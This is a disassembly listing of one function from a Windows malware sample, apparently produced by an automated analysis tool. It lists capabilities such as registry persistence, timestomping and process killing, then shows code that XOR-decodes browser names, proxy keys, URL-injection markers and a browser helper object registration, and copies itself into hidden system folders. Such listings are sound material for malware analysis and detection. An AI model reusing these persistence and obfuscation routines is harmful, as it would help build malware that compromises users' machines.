Function at 0x403a19
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Create process on windows
Create process suspended
Create thread
Delete file
Delete registry key
Delete registry value
Disable system features via registry on windows
Encode data using xor
Enumerate processes
Get common file path
Get file size
Get hostname
Initialize winsock library
Link many functions at runtime
Persist via active setup registry key
Persist via image file execution options registry key
Persist via run registry key
Persist via windows service
Persist via winlogon helper dll registry key
Query environment variable
Query or enumerate registry value
Read file on windows
Set file attributes
Set registry value
Shutdown system
Terminate process
Terminate process by name
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov eax, 0x148c
call fcn.00406420
call sub.KERNEL32.dll_GetProcessHeap
mov dword [0x412270], eax
mov dword [0x4120d0], 0x94
sub esp, 0xc
push 0x4120d0
call sub.KERNEL32.dll_GetVersionExA
mov eax, 0
add esp, 0xc
xor byte [eax + str.__k33p], 0xd4
inc eax
cmp eax, 6
jne 0x403a50
mov al, 0
xor byte [eax + str.kernel32.dll], 0xd4
inc eax
cmp eax, 0xc
jne 0x403a5f
sub esp, 0xc
push str.kernel32.dll
call sub.KERNEL32.dll_LoadLibraryA
mov ebx, eax
add esp, 0xc
cmp dword [0x4120e0], 2
je 0x403aba
mov eax, 0
xor byte [eax + 0x407014], 0xd4
inc eax
cmp eax, 0x16
jne 0x403a8c
sub esp, 8
push 0x407014
push ebx
call sub.KERNEL32.dll_GetProcAddress
add esp, 8
test eax, eax
je 0x403aba
sub esp, 8
push 1
push 0
call eax
add esp, 8
sub esp, 4
push 0x104
lea eax, [esp + 0x1390]
push eax
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 4
call sub.KERNEL32.dll_GetCommandLineA
mov edx, str.__k33p
call fcn.00401013
test eax, eax
je 0x403bfb
sub esp, 8
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [esp + 0xb74], eax
add esp, 8
test eax, eax
je 0x403bf1
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [esp + 0xb5c], eax
mov dword [esp + 0x830], 0x128
sub esp, 8
lea eax, [esp + 0x838]
push eax
push dword [esp + 0xb78]
call sub.KERNEL32.dll_Process32First
add esp, 8
test eax, eax
je 0x4063d7
lea ebx, [esp + 0x830]
mov eax, dword [esp + 0x838]
cmp eax, dword [esp + 0xb5c]
jne 0x403b89
sub esp, 4
push dword [esp + 0x84c]
push 0
push 0x100000
call sub.KERNEL32.dll_OpenProcess
mov ebx, eax
sub esp, 8
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
test ebx, ebx
jne 0x403ba6
jmp 0x403bf1
sub esp, 8
push ebx
push dword [esp + 0xb78]
call sub.KERNEL32.dll_Process32Next
add esp, 8
test eax, eax
je 0x4063d7
jmp 0x403b49
sub esp, 8
push 0xffffffffffffffff
push ebx
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 4
push ebx
call sub.KERNEL32.dll_CloseHandle
lea ebx, [esp + 0x974]
push ebx
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 0xc
lea eax, [esp + 0x970]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x13c4]
push eax
call sub.KERNEL32.dll_CreateProcessA
add esp, 0x18
sub esp, 0xc
push 0
call sub.KERNEL32.dll_ExitProcess
cmp dword [0x4120e0], 2
jne 0x403e35
mov eax, 0
xor byte [eax + str.CreateRemoteThread], 0xd4
inc eax
cmp eax, 0x12
jne 0x403c0d
sub esp, 8
push str.CreateRemoteThread
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x412240], eax
mov eax, 0
add esp, 8
xor byte [eax + 0x40703e], 0xd4
inc eax
cmp eax, 9
jne 0x403c35
mov al, 0
xor byte [eax + str.NtAllocateVirtualMemory], 0xd4
inc eax
cmp eax, 0x17
jne 0x403c44
mov al, 0
xor byte [eax + str.NtWriteVirtualMemory], 0xd4
inc eax
cmp eax, 0x14
jne 0x403c53
mov al, 0
xor byte [eax + str.NtShutdownSystem], 0xd4
inc eax
cmp eax, 0x10
jne 0x403c62
mov al, 0
xor byte [eax + str.RtlAdjustPrivilege], 0xd4
inc eax
cmp eax, 0x12
jne 0x403c71
sub esp, 0xc
push 0x40703e
call sub.KERNEL32.dll_LoadLibraryA
mov ebx, eax
sub esp, 0xc
push str.NtAllocateVirtualMemory
push eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x412200], eax
push str.NtWriteVirtualMemory
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x412210], eax
push str.NtShutdownSystem
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x412220], eax
push str.RtlAdjustPrivilege
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov edx, eax
mov dword [0x412230], eax
add esp, 0x18
test eax, eax
je 0x403ce9
lea eax, [esp + 0xb63]
push eax
push 0
push 1
push 0x14
call edx
mov eax, 0
xor byte [eax + str.NtOpenProcessToken], 0xd4
inc eax
cmp eax, 0x12
jne 0x403cee
mov al, 0
xor byte [eax + str.NtQueryInformationToken], 0xd4
inc eax
cmp eax, 0x17
jne 0x403cfd
sub esp, 8
push str.NtOpenProcessToken
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov edi, eax
add esp, 8
test eax, eax
je 0x403e8a
sub esp, 8
push str.NtQueryInformationToken
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov esi, eax
add esp, 8
test eax, eax
je 0x403e8a
sub esp, 4
lea eax, [esp + 0xb70]
push eax
push 8
push 0xffffffffffffffff
call edi
add esp, 4
test eax, eax
js 0x403e8a
mov eax, 0x2000
call fcn.0040162c
mov ebx, eax
sub esp, 0xc
lea eax, [esp + 0xb68]
push eax
push 0x2000
push ebx
push 2
push dword [esp + 0xb88]
call esi
add esp, 0xc
test eax, eax
js 0x403e1a
mov edi, dword [ebx]
test edi, edi
je 0x403e1a
mov ecx, 0
mov eax, dword [ebx + ecx*8 + 8]
test al, 4
je 0x403e15
test al, 0x10
jne 0x403e15
mov edx, dword [ebx + ecx*8 + 4]
movzx eax, byte [edx + 1]
mov eax, dword [edx + eax*4 + 4]
cmp eax, 0x220
je 0x403dcb
cmp eax, 0x223
je 0x403dcb
cmp eax, 0x200
jne 0x403e15
mov byte [section..bss], 1
sub esp, 0xc
lea eax, [esp + 0xb68]
push eax
push 0x2000
push ebx
push 1
push dword [esp + 0xb88]
call esi
add esp, 0xc
test eax, eax
js 0x403e09
mov eax, dword [ebx]
cmp byte [eax + 1], 1
jne 0x403e09
cmp dword [eax + 8], 0x12
sete al
movzx eax, al
jmp 0x403e0e
mov eax, 0
mov byte [0x412010], al
jmp 0x403e1a
inc ecx
cmp ecx, edi
jne 0x403d9e
mov eax, ebx
call fcn.0040167e
sub esp, 0xc
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x403e8a
mov eax, 0
xor byte [eax + 0x4070c4], 0xd4
inc eax
cmp eax, 0x12
jne 0x403e3a
sub esp, 8
push 0x4070c4
push ebx
call sub.KERNEL32.dll_GetProcAddress
add esp, 8
cmp dword [eax], 0xfff00068
je 0x403e69
inc eax
cmp dword [eax], 0xfff00068
jne 0x403e60
add eax, dword [eax + 7]
lea eax, [eax + 0xb]
mov dword [0x412250], eax
mov eax, dword fs:[0x30]
mov dword [0x412260], eax
call sub.KERNEL32.dll_GetCurrentProcessId
xor dword [0x412260], eax
sub esp, 8
lea eax, [esp + 0x9cc]
push eax
push 2
call sub.WS2_32.DLL_WSAStartup
add esp, 8
call sub.KERNEL32.dll_GetTickCount
mov ebx, eax
call sub.KERNEL32.dll_GetCurrentProcessId
mov esi, eax
call sub.KERNEL32.dll_GetCurrentThreadId
mov edx, esi
xor edx, ebx
shl eax, 0x10
xor eax, edx
mov dword [0x412280], eax
mov eax, 0
xor byte [eax + str.rasapi32.dll], 0xd4
inc eax
cmp eax, 0xc
jne 0x403ec5
sub esp, 0xc
push str.rasapi32.dll
call sub.KERNEL32.dll_LoadLibraryA
add esp, 0xc
test eax, eax
je 0x403f10
mov edx, 0
xor byte [edx + 0x4070e4], 0xd4
inc edx
cmp edx, 0x13
jne 0x403eeb
sub esp, 8
push 0x4070e4
push eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x412190], eax
add esp, 8
jmp 0x403f1a
mov dword [0x412190], 0
mov eax, 0
xor byte [eax + str.iphlpapi.dll], 0xd4
inc eax
cmp eax, 0xc
jne 0x403f1f
sub esp, 0xc
push str.iphlpapi.dll
call sub.KERNEL32.dll_LoadLibraryA
add esp, 0xc
test eax, eax
je 0x403f6a
mov edx, 0
xor byte [edx + 0x407105], 0xd4
inc edx
cmp edx, 0xe
jne 0x403f45
sub esp, 8
push 0x407105
push eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x4121a0], eax
add esp, 8
jmp 0x403f74
mov dword [0x4121a0], 0
mov eax, 0
xor byte [eax + str._Classes], 0xd4
inc eax
cmp eax, 8
jne 0x403f79
mov al, 0
xor byte [eax + str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings], 0xd4
inc eax
cmp eax, 0x3c
jne 0x403f88
mov al, 0
xor byte [eax + str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections], 0xd4
inc eax
cmp eax, 0x47
jne 0x403f97
mov al, 0
xor byte [eax + str.ProxyEnable], 0xd4
inc eax
cmp eax, 0xb
jne 0x403fa6
mov al, 0
xor byte [eax + str.Connections], 0xd4
inc eax
cmp eax, 0xb
jne 0x403fb5
mov al, 0
xor byte [eax + str.wininet.dll], 0xd4
inc eax
cmp eax, 0xb
jne 0x403fc4
sub esp, 0xc
push str.wininet.dll
call sub.KERNEL32.dll_LoadLibraryA
mov ebx, eax
add esp, 0xc
test eax, eax
je 0x404091
mov eax, 0
xor byte [eax + 0x4071cc], 0xd4
inc eax
cmp eax, 0xd
jne 0x403ff0
mov al, 0
xor byte [eax + 0x4071da], 0xd4
inc eax
cmp eax, 0x10
jne 0x403fff
mov al, 0
xor byte [eax + 0x4071eb], 0xd4
inc eax
cmp eax, 0x10
jne 0x40400e
mov al, 0
xor byte [eax + 0x4071fc], 0xd4
inc eax
cmp eax, 0x12
jne 0x40401d
mov al, 0
xor byte [eax + 0x40720f], 0xd4
inc eax
cmp eax, 0x13
jne 0x40402c
sub esp, 8
push 0x4071cc
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x4121b0], eax
push 0x4071da
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x4121c0], eax
push 0x4071eb
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x4121d0], eax
push 0x4071fc
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x4121e0], eax
push 0x40720f
push ebx
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x4121f0], eax
add esp, 8
jmp 0x40409b
mov dword [0x4121b0], 0
mov eax, 0
xor byte [eax + str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotifyBC84DF00_BC38_9902_8082_6FCBF2D87A0B], 0xd4
inc eax
cmp eax, 0x63
jne 0x4040a0
mov al, 0
xor byte [eax + str.http:___s.biz_d_N_], 0xd4
inc eax
cmp eax, 0x12
jne 0x4040af
mov al, 0
xor byte [eax + str.http:___s.biz_d_G_], 0xd4
inc eax
cmp eax, 0x12
jne 0x4040be
mov al, 0
xor byte [eax + str.http:___s_d_rpt__s], 0xd4
inc eax
cmp eax, 0x12
jne 0x4040cd
mov al, 0
xor byte [eax + str.modem], 0xd4
inc eax
cmp eax, 5
jne 0x4040dc
mov al, 0
xor byte [eax + str.isdn], 0xd4
inc eax
cmp eax, 4
jne 0x4040eb
mov al, 0
xor byte [eax + str._u._u._u._s], 0xd4
inc eax
cmp eax, 0xb
jne 0x4040fa
mov al, 0
xor byte [eax + str._02X_02X_02X_02X__02x_02x__02x_02x__02X_02X__02X_02X_02X_02X_02x_02x], 0xd4
inc eax
cmp eax, 0x46
jne 0x404109
mov al, 0
xor byte [eax + str._ComSpec_], 0xd4
inc eax
cmp eax, 9
jne 0x404118
mov al, 0
xor byte [eax + str._CommonProgramFiles_System_], 0xd4
inc eax
cmp eax, 0x1c
jne 0x404127
mov al, 0
xor byte [eax + str._AppData__], 0xd4
inc eax
cmp eax, 0xa
jne 0x404136
mov al, 0
xor byte [eax + str.Debugger], 0xd4
inc eax
cmp eax, 8
jne 0x404145
mov al, 0
xor byte [eax + str.IsInstalled], 0xd4
inc eax
cmp eax, 0xb
jne 0x404154
mov al, 0
xor byte [eax + str.StubPath], 0xd4
inc eax
cmp eax, 8
jne 0x404163
mov al, 0
xor byte [eax + str.GET___s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__r_n_r_n], 0xd4
inc eax
cmp eax, 0x4e
jne 0x404172
mov al, 0
xor byte [eax + str.GET___s_HTTP_1.0_r_nHost:__s:_u_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__r_n_r_n], 0xd4
inc eax
cmp eax, 0x51
jne 0x404181
mov al, 0
xor byte [eax + str.Mozilla_4.0__compatible__MSIE_6.0__Win32_], 0xd4
inc eax
cmp eax, 0x29
jne 0x404190
mov al, 0
xor byte [eax + str.HTTP_1.0_200], 0xd4
inc eax
cmp eax, 0xc
jne 0x40419f
mov al, 0
xor byte [eax + str.urlinj_conn], 0xd4
inc eax
cmp eax, 0xb
jne 0x4041ae
mov al, 0
xor byte [eax + str.urlinj_creat], 0xd4
inc eax
cmp eax, 0xc
jne 0x4041bd
mov al, 0
xor byte [eax + str.urlinj_xfer], 0xd4
inc eax
cmp eax, 0xb
jne 0x4041cc
mov al, 0
xor byte [eax + str.urlinj_creat_f], 0xd4
inc eax
cmp eax, 0xe
jne 0x4041db
mov al, 0
xor byte [eax + str.urlinj_fork], 0xd4
inc eax
cmp eax, 0xb
jne 0x4041ea
mov al, 0
xor byte [eax + str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced], 0xd4
inc eax
cmp eax, 0x3b
jne 0x4041f9
mov al, 0
xor byte [eax + str.ShellRegEx], 0xd4
inc eax
cmp eax, 0xa
jne 0x404208
mov al, 0
xor byte [eax + str.g00d_d0gg], 0xd4
inc eax
cmp eax, 9
jne 0x404217
mov al, 0
xor byte [eax + str.winlogon.exe], 0xd4
inc eax
cmp eax, 0xc
jne 0x404226
mov al, 0
xor byte [eax + str.explorer.exe], 0xd4
inc eax
cmp eax, 0xc
jne 0x404235
mov al, 0
xor byte [eax + str.iexplore.exe], 0xd4
inc eax
cmp eax, 0xc
jne 0x404244
mov al, 0
xor byte [eax + str.firefox.exe], 0xd4
inc eax
cmp eax, 0xb
jne 0x404253
mov al, 0
xor byte [eax + str.mozilla.exe], 0xd4
inc eax
cmp eax, 0xb
jne 0x404262
mov al, 0
xor byte [eax + str.seamonkey.exe], 0xd4
inc eax
cmp eax, 0xd
jne 0x404271
mov al, 0
xor byte [eax + str.opera.exe], 0xd4
inc eax
cmp eax, 9
jne 0x404280
mov al, 0
xor byte [eax + str.DLLName], 0xd4
inc eax
cmp eax, 7
jne 0x40428f
mov al, 0
xor byte [eax + str.Startup], 0xd4
inc eax
cmp eax, 7
jne 0x40429e
mov al, 0
xor byte [eax + str.CLSIDF1ACE452_91D3_FF14_6B60_AD3718D5C8FCInProcServer32], 0xd4
inc eax
cmp eax, 0x3b
jne 0x4042ad
mov al, 0
xor byte [eax + str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_ObjectsF1ACE452_91D3_FF14_6B60_AD3718D5C8FC], 0xd4
inc eax
cmp eax, 0x70
jne 0x4042bc
mov al, 0
xor byte [eax + str.ThreadingModel], 0xd4
inc eax
cmp eax, 0xe
jne 0x4042cb
mov al, 0
xor byte [eax + str.Both], 0xd4
inc eax
cmp eax, 4
jne 0x4042da
mov al, 0
xor byte [eax + str.http:___s_], 0xd4
inc eax
cmp eax, 0xa
jne 0x4042e9
mov al, 0
xor byte [eax + 0x407680], 0x57
inc eax
cmp eax, 0x600
jne 0x4042f8
mov ax, 0
xor byte [eax + 0x407c80], 0x57
inc eax
cmp eax, 0x1400
jne 0x40430b
mov ax, 0
xor byte [eax + 0x409080], 0x57
inc eax
cmp eax, 0x6400
jne 0x40431e
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x13a4]
push eax
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0xb70], eax
add esp, 4
test eax, eax
je 0x4043b7
cmp eax, 0xffffffff
je 0x4043b7
push 2
push 0
push 0xfffffffffffffff0
push eax
call sub.KERNEL32.dll_SetFilePointer
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push 0x10
push 0x4120c0
push dword [esp + 0xb88]
call sub.KERNEL32.dll_ReadFile
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
cmp dword [0x4120c0], 0
jne 0x4043b7
call fcn.0040140f
mov dword [0x4120c0], eax
mov dword [esp + 0x20], 1
jmp 0x4043bf
mov dword [esp + 0x20], 0
mov eax, 0
xor byte [eax + str..exe], 0xd4
inc eax
cmp eax, 4
jne 0x4043c4
mov al, 0
xor byte [eax + str..dll], 0xd4
inc eax
cmp eax, 4
jne 0x4043d3
mov eax, dword [0x4120c0]
mov dword [esp + 0xb5c], eax
lea ebx, [esp + 0xb5c]
mov edx, ebx
mov eax, str..exe
call fcn.00401641
mov dword [0x412070], eax
mov edx, ebx
mov eax, str..exe
call fcn.00401641
mov dword [0x412080], eax
mov edx, ebx
mov eax, str..exe
call fcn.00401641
mov dword [0x412090], eax
mov edx, ebx
mov eax, str..dll
call fcn.00401641
mov dword [0x4120a0], eax
mov edx, ebx
mov eax, str..dll
call fcn.00401641
mov dword [0x4120b0], eax
mov ebx, dword [0x412090]
lea eax, [esp + 0x1388]
call section..text
sub esp, 8
push ebx
push eax
call sub.KERNEL32.dll_lstrcmpiA
add esp, 8
test eax, eax
sete al
movzx eax, al
mov dword [esp + 0x24], eax
mov eax, 0
xor byte [eax + str.qnd_b___13], 0xd4
inc eax
cmp eax, 0xa
jne 0x404478
mov al, 0
xor byte [eax + str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy], 0xd4
inc eax
cmp eax, 0x4d
jne 0x404487
mov al, 0
xor byte [eax + str.Default_Flags], 0xd4
inc eax
cmp eax, 0xd
jne 0x404496
mov dword [esp + 0x10], 1
sub esp, 4
push dword [esp + 0x14]
push str._02X
push 0x40f492
call sub.USER32.dll_wsprintfA
add esp, 0xc
push str.qnd_b___13
push 1
push 0x40f4fc
call sub.KERNEL32.dll_CreateMutexA
mov dword [esp + 0x34], eax
add esp, 4
test eax, eax
je 0x40480c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
jne 0x4047f6
cmp dword [esp + 0x10], 0x12
jg 0x4047d6
sub esp, 8
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
add esp, 8
test eax, eax
je 0x4046cd
lea eax, [esp + 0x52]
call fcn.00401439
mov dword [esp + 0x3c], eax
test eax, eax
je 0x40456e
sub esp, 8
push str.ShellRegEx
push eax
call sub.ADVAPI32.DLL_RegDeleteValueA
sub esp, 4
push dword [esp + 0x48]
call sub.ADVAPI32.DLL_RegCloseKey
lea edx, [esp + 0x184]
lea eax, [esp + 0x80]
add esp, 0xc
cmp edx, eax
jbe 0x40456e
lea edx, [esp + 0x74]
lea ecx, [esp + 0x178]
mov al, byte [esp + 0x52]
xor byte [edx], al
inc edx
cmp ecx, edx
ja 0x404563
call sub.KERNEL32.dll_GetCurrentProcessId
mov ebp, eax
mov dword [esp + 0x27c], 0x128
sub esp, 8
lea eax, [esp + 0x284]
push eax
push esi
call sub.KERNEL32.dll_Process32First
add esp, 8
test eax, eax
je 0x406405
mov edi, 0
cmp ebp, dword [esp + 0x284]
je 0x4045f7
mov ebx, dword [0x412090]
lea eax, [esp + 0x2a0]
call section..text
sub esp, 8
push ebx
push eax
call sub.KERNEL32.dll_lstrcmpiA
add esp, 8
test eax, eax
jne 0x4045f7
sub esp, 4
push dword [esp + 0x288]
push 0
push 0x100201
call sub.KERNEL32.dll_OpenProcess
mov dword [esp + edi*4 + 0x3a8], eax
add esp, 4
test eax, eax
je 0x4045f7
inc edi
cmp edi, 9
ja 0x40460f
sub esp, 8
lea eax, [esp + 0x284]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
add esp, 8
test eax, eax
jne 0x4045a1
sub esp, 0xc
push esi
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
test edi, edi
jle 0x404640
mov ebx, 0
lea esi, [esp + 0x3a4]
sub esp, 8
push 0x40
push dword [esi + ebx*4]
call sub.KERNEL32.dll_SetPriorityClass
inc ebx
add esp, 8
cmp ebx, edi
jne 0x40462b
mov ebx, 0
mov esi, 0
jmp 0x404661
sub esp, 8
push 0
push dword [esp + ebx*4 + 0x3b0]
call sub.KERNEL32.dll_TerminateProcess
inc ebx
add esp, 8
cmp ebx, edi
jl 0x40464c
inc esi
cmp esi, 4
jg 0x404672
mov ebx, 0
jmp 0x404661
test edi, edi
jle 0x4046a5
mov esi, 0
lea ebp, [esp + 0x3a4]
mov ebx, dword [ebp + esi*4]
sub esp, 8
push 0x1388
push ebx
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 4
push ebx
call sub.KERNEL32.dll_CloseHandle
inc esi
add esp, 0xc
cmp esi, edi
jne 0x404682
cmp dword [esp + 0x3c], 0
je 0x4046cd
sub esp, 8
push pe_nt_image_headers32
lea ebx, [esp + 0x80]
push ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 4
push ebx
call sub.KERNEL32.dll_DeleteFileA
add esp, 0xc
cmp dword [esp + 0x10], 0xb
jg 0x4047fd
sub esp, 0xc
lea edx, [esp + 0xb74]
push edx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x4047fd
sub esp, 0xc
push 0
lea ecx, [esp + 0xb74]
push ecx
push 0x40f4fc
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x4047c2
mov dword [esp + 0xb5c], 0x12
sub esp, 8
lea eax, [esp + 0xb64]
push eax
push 0x412170
push 0
push 0
push str.Default_Flags
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
jne 0x4063ee
sub esp, 8
push 0x12
push 0x412170
push 3
push 0
push str.Default_Flags
push dword [esp + 0xb80]
call sub.ADVAPI32.DLL_RegSetValueExA
mov ebx, eax
sub esp, 4
push dword [esp + 0xb70]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
test ebx, ebx
je 0x4047c2
sub esp, 8
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000002
call sub.ADVAPI32.DLL_RegDeleteKeyA
add esp, 8
sub esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
jmp 0x4047fd
cmp dword [esp + 0x24], 0
je 0x4047e7
sub esp, 0xc
push 0
call sub.KERNEL32.dll_ExitProcess
sub esp, 0xc
push 0
call fcn.00402818
cmp dword [esp + 0x10], 0x12
jg 0x404815
sub esp, 0xc
push dword [esp + 0x3c]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
inc dword [esp + 0x10]
jmp 0x4044ab
mov eax, 0
xor byte [eax + str.Extended_Flags], 0xd4
inc eax
cmp eax, 0xe
jne 0x40481a
sub esp, 0xc
push 0
lea ebx, [esp + 0xb78]
push ebx
push 0x40f4fc
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
je 0x404886
sub esp, 0xc
push 0
push ebx
push 0x40f4fc
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x4048f1
mov dword [esp + 0xb5c], 0xc
sub esp, 8
lea eax, [esp + 0xb64]
push eax
push 0x4120c4
push 0
push 0
push str.Extended_Flags
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
je 0x4048df
sub esp, 8
push 0xc
push 0x4120c4
push 3
push 0
push str.Extended_Flags
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
sub esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
sub esp, 4
push 0x104
lea ebx, [esp + 0x1188]
push ebx
push str._ComSpec_
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
add esp, 4
test eax, eax
je 0x404975
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov edx, eax
mov dword [esp + 0xb70], eax
add esp, 4
cmp eax, 0xffffffff
je 0x404975
lea eax, [esp + 0x9ac]
push eax
lea eax, [esp + 0x9b8]
push eax
lea eax, [esp + 0x9c4]
push eax
push edx
call sub.KERNEL32.dll_GetFileTime
sub esp, 0xc
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
mov dword [esp + 0x40], 1
add esp, 0xc
jmp 0x40497d
mov dword [esp + 0x34], 0
cmp dword [esp + 0x24], 0
jne 0x404b8b
sub esp, 8
push 0x100
lea esi, [esp + 0x1290]
push esi
call sub.KERNEL32.dll_GetSystemDirectoryA
mov ebx, dword [0x412090]
push 0x411030
push esi
call sub.KERNEL32.dll_lstrcatA
push ebx
push eax
call sub.KERNEL32.dll_lstrcatA
add esp, 8
lea edi, [esp + 0x1388]
mov edx, esi
mov eax, edi
call fcn.0040151e
test eax, eax
jne 0x404a6e
mov ebx, dword [0x412090]
sub esp, 8
push str._CommonProgramFiles_System_
lea eax, [esp + 0x118c]
push eax
call sub.KERNEL32.dll_lstrcpyA
push ebx
push eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 0xc
push 0x104
push esi
push eax
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
add esp, 0x14
test eax, eax
je 0x404a15
mov edx, esi
mov eax, edi
call fcn.0040151e
test eax, eax
jne 0x404a6e
mov ebx, dword [0x412090]
sub esp, 8
push str._AppData__
lea eax, [esp + 0x118c]
push eax
call sub.KERNEL32.dll_lstrcpyA
push ebx
push eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 0xc
push 0x104
lea ebx, [esp + 0x129c]
push ebx
push eax
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
add esp, 0x14
test eax, eax
je 0x404b84
lea eax, [esp + 0x1388]
mov edx, ebx
call fcn.0040151e
test eax, eax
je 0x404b84
cmp dword [esp + 0x20], 0
je 0x404ad1
sub esp, 4
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [esp + 0x12a0]
push eax
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 4
test eax, eax
je 0x404ad1
cmp eax, 0xffffffff
je 0x404ad1
push 2
push 0
push 0xfffffffffffffff0
push eax
call sub.KERNEL32.dll_SetFilePointer
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push 4
push 0x4120c0
push ebx
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
cmp dword [esp + 0x34], 0
je 0x404b2f
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000100
lea eax, [esp + 0x12a0]
push eax
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 4
test eax, eax
je 0x404b2f
cmp eax, 0xffffffff
je 0x404b2f
lea eax, [esp + 0x9ac]
push eax
lea eax, [esp + 0x9b8]
push eax
lea eax, [esp + 0x9c4]
push eax
push ebx
call sub.KERNEL32.dll_SetFileTime
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
sub esp, 8
push 0x21
lea esi, [esp + 0x1290]
push esi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 4
push dword [esp + 0x3c]
call sub.KERNEL32.dll_CloseHandle
lea ebx, [esp + 0x974]
push ebx
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 0xc
lea eax, [esp + 0x970]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.KERNEL32.dll_CreateProcessA
add esp, 0xc
push 0
call sub.KERNEL32.dll_ExitProcess
mov byte [0x412020], 1
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x13a4]
push eax
call sub.KERNEL32.dll_CreateFileA
mov dword [esp + 0xb70], eax
add esp, 4
test eax, eax
je 0x404c0e
cmp eax, 0xffffffff
je 0x404c0e
sub esp, 8
push 0
push eax
call sub.KERNEL32.dll_GetFileSize
mov dword [esp + 0x40], eax
add esp, 8
mov eax, dword [esp + 0x38]
call fcn.0040162c
mov dword [esp + 0x2c], eax
sub esp, 0xc
push 0
lea eax, [esp + 0xb6c]
push eax
push dword [esp + 0x4c]
push dword [esp + 0x44]
push dword [esp + 0xb88]
